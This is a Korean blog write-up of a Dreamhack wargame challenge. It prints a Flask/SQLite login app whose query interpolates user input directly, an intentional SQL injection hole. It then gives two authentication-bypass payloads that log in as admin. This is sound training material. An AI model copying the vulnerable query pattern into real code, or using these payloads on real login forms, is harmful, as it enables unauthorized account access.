728x90
반응형
1. intro
2. code 및 분석
2.1. code
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
2.2. 분석
주요 부분만 요약하자면
sqlite3를 통해 table을 만드는데,
user와 userpassword를 table 명으로 하고,
guest, guest
admin, urandom(16)
을 값으로 가진다.
로그인 시
query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
를 통해 값이 맞으면 res에 값을 가져오고,
res[0]이 admin이면 플래그를 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
sql injection
3.2. 공격 준비
방법은 많이 있겠지만, 가장 쉬운 방법으로는 userid 뒤의 값을 주석처리 해버리면 된다.
또는 password 조건이 항상 참이도록 하면 된다.
4. exploit
ID 이후 주석 처리.
admin" --
password는 무시하고 userid로만 검색.
1" or userid="admin
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
simple-web-request (0) | 2023.05.23 |
---|---|
mango (0) | 2023.05.23 |
csrf-2 (0) | 2023.05.21 |
csrf-1 (0) | 2023.05.19 |
xss-2 (0) | 2023.05.19 |